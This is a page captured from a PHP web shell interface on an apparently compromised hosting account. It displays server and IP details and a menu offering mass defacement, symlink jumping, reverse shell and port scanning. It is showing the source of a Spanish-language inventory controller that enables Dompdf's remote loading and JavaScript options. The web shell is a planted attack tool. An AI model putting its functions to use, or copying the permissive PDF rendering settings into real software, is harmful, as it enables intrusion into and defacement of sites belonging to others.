Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
controllers
/
Viewing: Inventarios.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class Inventarios extends Controller { private $id_usuario, $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } if (!verificar('ver_inventario')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { $data['modal'] = 'inventario.php'; $data['title'] = 'Inventarios'; $data['script'] = 'inventarios.js'; $this->views->getView('inventarios', 'index', $data); } public function listarMovimientos($datos) { if (empty($datos)) { $data = $this->model->getMovimientos($this->id_sucursal); } else { $array = explode('-', $datos); $anio = $array[0]; $mes = $array[1]; $data = $this->model->getMovimientosMes($anio, $mes, $this->id_sucursal); } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function reporte($datos) { $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); if (empty($datos)) { $data['inventario'] = $this->model->getMovimientos($this->id_sucursal); } else { $array = explode('-', $datos); $anio = $array[0]; $mes = $array[1]; $data['inventario'] = $this->model->getMovimientosMes($anio, $mes, $this->id_sucursal); } ob_start(); $this->views->getView('inventarios', 'reporte', $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'vertical'); // Render the HTML as PDF $dompdf->render(); // Output the generated PDF to Browser $dompdf->stream('reporte.pdf', array('Attachment' => false)); } public function procesarAjuste() { $json = file_get_contents('php://input'); $datos = json_decode($json, true); if (empty($datos['idProducto'])) { $res = array('msg' => 'EL PRODUCTO ES REQUERIDO', 'type' => 'warning'); } else if (empty($datos['cantidad'])) { $res = array('msg' => 'LA CANTIDAD ES REQUERIDO', 'type' => 'warning'); } else { if (is_numeric($datos['idProducto']) && is_numeric($datos['cantidad'])) { $idProducto = $datos['idProducto']; $cantidad = $datos['cantidad']; $producto = $this->model->getProducto($idProducto); $nuevaCantidad = $producto['cantidad'] + $cantidad; $data = $this->model->procesarAjuste($nuevaCantidad, $idProducto); if ($data == 1) { //movimientos $cantidadInventario = abs($cantidad); $accion = ($cantidad > 0) ? 'entrada' : 'salida' ; $movimiento = $datos['nota']; $this->model->registrarMovimiento($movimiento, $accion, $cantidadInventario, $nuevaCantidad, $idProducto, $this->id_usuario, $this->id_sucursal); $res = array('msg' => 'STOCK DEL PRODUCTO AJUSTADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR EN EL AJUSTE', 'type' => 'error'); } } } echo json_encode($res); die(); } //#### Kardex public function kardex($idProducto) { $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); $data['kardex'] = $this->model->getKardex($idProducto, $this->id_sucursal); for ($i=0; $i < count($data['kardex']); $i++) { $data['kardex'][$i]['entrada'] = 0; $data['kardex'][$i]['salida'] = 0; if ($data['kardex'][$i]['accion'] == 'salida') { $data['kardex'][$i]['salida'] = $data['kardex'][$i]['cantidad']; }else{ $data['kardex'][$i]['entrada'] = $data['kardex'][$i]['cantidad']; } } ob_start(); $this->views->getView('inventarios', 'kardex', $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'vertical'); // Render the HTML as PDF $dompdf->render(); // Output the generated PDF to Browser $dompdf->stream('reporte.pdf', array('Attachment' => false)); } }
Coded With 💗 by
0x6ick